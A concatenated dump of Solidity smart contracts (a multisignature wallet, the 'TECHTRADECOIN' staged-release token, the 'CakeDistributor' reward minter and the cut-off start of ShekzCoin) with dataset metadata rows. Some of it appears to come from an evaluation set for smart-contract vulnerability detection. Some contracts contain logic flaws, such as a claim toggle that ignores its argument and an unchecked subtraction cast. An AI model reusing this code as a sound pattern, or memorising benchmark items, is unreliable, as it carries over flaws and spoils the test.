contracts/realworld-contracts/0x741a26104530998f625d15cbb9d58b01811d2ca7.sol
| 2,333 | 10,861 |
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 147,249 | 246 |
bdfe786a4a8c80629a6a9b500710c112bfc0a0505914069283135611c772d65d
| 15,151 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x078f78a2b88916c0bb1198b8f47a7714860d1362.sol
| 4,148 | 12,284 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function toUINT112(uint256 a) internal constant returns(uint112) {
assert(uint112(a) == a);
return uint112(a);
}
function toUINT120(uint256 a) internal constant returns(uint120) {
assert(uint120(a) == a);
return uint120(a);
}
function toUINT128(uint256 a) internal constant returns(uint128) {
assert(uint128(a) == a);
return uint128(a);
}
function percent(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = (b*a/100) ;
assert(c <= a);
return c;
}
}
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
contract ERC20Basic {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
struct Account {
uint256 balances;
uint256 rawTokens;
uint32 lastMintedTimestamp;
}
// Balances for each account
mapping(address => Account) accounts;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].balances);
// SafeMath.sub will throw if there is not enough balance.
accounts[msg.sender].balances = accounts[msg.sender].balances.sub(_value);
accounts[_to].balances = accounts[_to].balances.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts[_owner].balances;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= accounts[_from].balances);
require(_value <= allowed[_from][msg.sender]);
accounts[_from].balances = accounts[_from].balances.sub(_value);
accounts[_to].balances = accounts[_to].balances.add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TTC is StandardToken, Owned {
string public constant name = "TECHTRADECOIN";
uint8 public constant decimals = 8;
string public constant symbol = "TTC";
bool public canClaimToken = false;
uint256 public constant maxSupply = 300000000*10**uint256(decimals);
uint256 public constant dateInit=1516924800 ;
uint256 public constant dateICO=dateInit + 50 days;
uint256 public constant dateRelease3=dateICO + 90 days;
uint256 public constant dateRelease6=dateRelease3 + 90 days;
uint256 public constant dateRelease9=dateRelease6 + 90 days;
uint256 public constant dateRelease12=dateRelease9 + 90 days;
uint256 public constant dateEcoRelease3=dateRelease12 + 90 days;
uint256 public constant dateEcoRelease6=dateEcoRelease3 + 90 days;
uint256 public constant dateEcoRelease9=dateEcoRelease6 + 90 days;
uint256 public constant dateEcoRelease12=dateEcoRelease9 + 90 days;
bool public isAllocatedICO=false;
bool public isAllocatedLending=false;
bool public isAllocated3=false;
bool public isAllocated6=false;
bool public isAllocated9=false;
bool public isAllocated12=false;
bool public isEcoAllocated3=false;
bool public isEcoAllocated6=false;
bool public isEcoAllocated9=false;
bool public isEcoAllocated12=false;
enum Stage {
Finalized,
ICO,
Release3,
Release6,
Release9,
Release12,
Eco3,
Eco6,
Eco9,
Eco12
}
struct Supplies {
uint256 total;
uint256 rawTokens;
}
//the stage for releasing Tokens
struct StageRelease {
uint256 rawTokens;
uint256 totalRawTokens;
}
Supplies supplies;
StageRelease public stageICO=StageRelease(maxSupply.percent(21),maxSupply.percent(21));
StageRelease public stageLending=StageRelease(maxSupply.percent(25),maxSupply.percent(25));
StageRelease public stageDevelop=StageRelease(maxSupply.percent(35),maxSupply.percent(35));
StageRelease public stageMarketing=StageRelease(maxSupply.percent(5),maxSupply.percent(5));
StageRelease public stageAdmin=StageRelease(maxSupply.percent(2), maxSupply.percent(2));
StageRelease public stageEco=StageRelease(maxSupply.percent(12), maxSupply.percent(12));
// Send back ether
function () {
revert();
}
//getter totalSupply
function totalSupply() public constant returns (uint256 total) {
return supplies.total;
}
function mintToken(address _owner, uint256 _amount, bool _isRaw) onlyOwner internal {
require(_amount.add(supplies.total)<=maxSupply);
if (_isRaw) {
accounts[_owner].rawTokens=_amount.add(accounts[_owner].rawTokens);
supplies.rawTokens=_amount.add(supplies.rawTokens);
} else {
accounts[_owner].balances=_amount.add(accounts[_owner].balances);
}
supplies.total=_amount.add(supplies.total);
Transfer(0, _owner, _amount);
}
function transferRaw(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= accounts[msg.sender].rawTokens);
// SafeMath.sub will throw if there is not enough balance.
accounts[msg.sender].rawTokens = accounts[msg.sender].rawTokens.sub(_value);
accounts[_to].rawTokens = accounts[_to].rawTokens.add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function setClaimToken(bool approve) onlyOwner public returns (bool) {
canClaimToken=true;
return canClaimToken;
}
function claimToken(address _owner) public returns (bool amount) {
require(accounts[_owner].rawTokens!=0);
require(canClaimToken);
uint256 amountToken = accounts[_owner].rawTokens;
accounts[_owner].rawTokens = 0;
accounts[_owner].balances = amountToken + accounts[_owner].balances;
return true;
}
function balanceOfRaws(address _owner) public constant returns (uint256 balance) {
return accounts[_owner].rawTokens;
}
function blockTime() constant returns (uint32) {
return uint32(block.timestamp);
}
function stage() constant returns (Stage) {
if(blockTime()<=dateICO) {
return Stage.ICO;
}
if(blockTime()<=dateRelease3) {
return Stage.Release3;
}
if(blockTime()<=dateRelease6) {
return Stage.Release6;
}
if(blockTime()<=dateRelease9) {
return Stage.Release9;
}
if(blockTime()<=dateRelease12) {
return Stage.Release12;
}
if(blockTime()<=dateEcoRelease3) {
return Stage.Eco3;
}
if(blockTime()<=dateEcoRelease6) {
return Stage.Eco6;
}
if(blockTime()<=dateEcoRelease9) {
return Stage.Eco9;
}
if(blockTime()<=dateEcoRelease12) {
return Stage.Eco12;
}
return Stage.Finalized;
}
function releaseStage (uint256 amount, StageRelease storage stageRelease, bool isRaw) internal returns (uint256) {
if(stageRelease.rawTokens>0) {
int256 remain=int256(stageRelease.rawTokens - amount);
if(remain<0)
amount=stageRelease.rawTokens;
stageRelease.rawTokens=stageRelease.rawTokens.sub(amount);
mintToken(owner, amount, isRaw);
return amount;
}
return 0;
}
function releaseNotEco(uint256 percent, bool isRaw) internal returns (uint256) {
uint256 amountDevelop = stageDevelop.totalRawTokens.percent(percent);
uint256 amountMarketing = stageMarketing.totalRawTokens.percent(percent);
uint256 amountAdmin = stageAdmin.totalRawTokens.percent(percent);
uint256 amountSum = amountDevelop+amountMarketing+amountAdmin;
releaseStage(amountDevelop, stageDevelop, isRaw);
releaseStage(amountMarketing, stageMarketing, isRaw);
releaseStage(amountAdmin, stageAdmin, isRaw);
return amountSum;
}
function releaseEco(uint256 percent, bool isRaw) internal returns (uint256) {
uint256 amountEco = stageEco.totalRawTokens.percent(percent);
releaseStage(amountEco, stageEco, isRaw);
return amountEco;
}
function release100Percent(bool isRaw, StageRelease storage stageRelease) internal returns (uint256) {
uint256 amount = stageRelease.totalRawTokens.percent(100);
releaseStage(amount, stageRelease, isRaw);
return amount;
}
//main function, must run for releasing.
//##################################################################33
function release(bool isRaw) onlyOwner public returns (uint256) {
uint256 amountSum=0;
if(stage()==Stage.ICO && isAllocatedICO==false) {
uint256 amountICO=release100Percent(isRaw, stageICO);
amountSum=amountSum.add(amountICO);
isAllocatedICO=true;
return amountSum;
}
if(stage()==Stage.Release3 && isAllocated3==false) {
uint256 amountRelease3=releaseNotEco(30, isRaw);
amountSum=amountSum.add(amountRelease3);
//for lending
amountRelease3=release100Percent(isRaw, stageLending);
amountSum=amountSum.add(amountRelease3);
isAllocated3=true;
return amountSum;
}
if(stage()==Stage.Release6 && isAllocated6==false) {
uint256 amountRelease6=releaseNotEco(20, isRaw);
amountSum=amountSum.add(amountRelease6);
isAllocated6=true;
return amountSum;
}
if(stage()==Stage.Release9 && isAllocated9==false) {
uint256 amountRelease9=releaseNotEco(28, isRaw);
amountSum=amountSum.add(amountRelease9);
isAllocated9=true;
return amountSum;
}
if(stage()==Stage.Release12 && isAllocated12==false) {
uint256 amountRelease12=releaseNotEco(22, isRaw);
amountSum=amountSum.add(amountRelease12);
isAllocated12=true;
return amountSum;
}
if(stage()==Stage.Eco3 && isEcoAllocated3==false) {
uint256 amountEcoRelease3=releaseEco(30, isRaw);
amountSum=amountSum.add(amountEcoRelease3);
isEcoAllocated3=true;
return amountSum;
}
if(stage()==Stage.Eco6 && isEcoAllocated6==false) {
uint256 amountEcoRelease6=releaseEco(20, isRaw);
amountSum=amountSum.add(amountEcoRelease6);
isEcoAllocated6=true;
return amountSum;
}
if(stage()==Stage.Eco9 && isEcoAllocated9==false) {
uint256 amountEcoRelease9=releaseEco(28, isRaw);
amountSum=amountSum.add(amountEcoRelease9);
isEcoAllocated9=true;
return amountSum;
}
if(stage()==Stage.Eco12 && isEcoAllocated12==false) {
uint256 amountEcoRelease12=releaseEco(22, isRaw);
amountSum=amountSum.add(amountEcoRelease12);
isEcoAllocated12=true;
return amountSum;
}
return amountSum;
}
}
| 207,029 | 247 |
71310257010d9d62b3ead282396a95eb1db35d6086bdf3612cf014567d1ba89e
| 18,024 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/54/546ccb5d4e16c89cf937011fba50843eed8258aa_CakeDistributor.sol
| 3,975 | 15,705 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract CakeDistributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 114,866 | 248 |
84f9c3561869874235db75e0fcb4587fd6ee75914eadbfb762fc829b693c7e2d
| 11,180 |
.sol
|
Solidity
| false |
301940069
|
eff-kay/solidity-nicad
|
3a3b3fe876ef57f52247aa371b9841ff2589b7e5
|
data/smart_contracts/ShekzCoin.sol
| 2,685 | 10,141 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
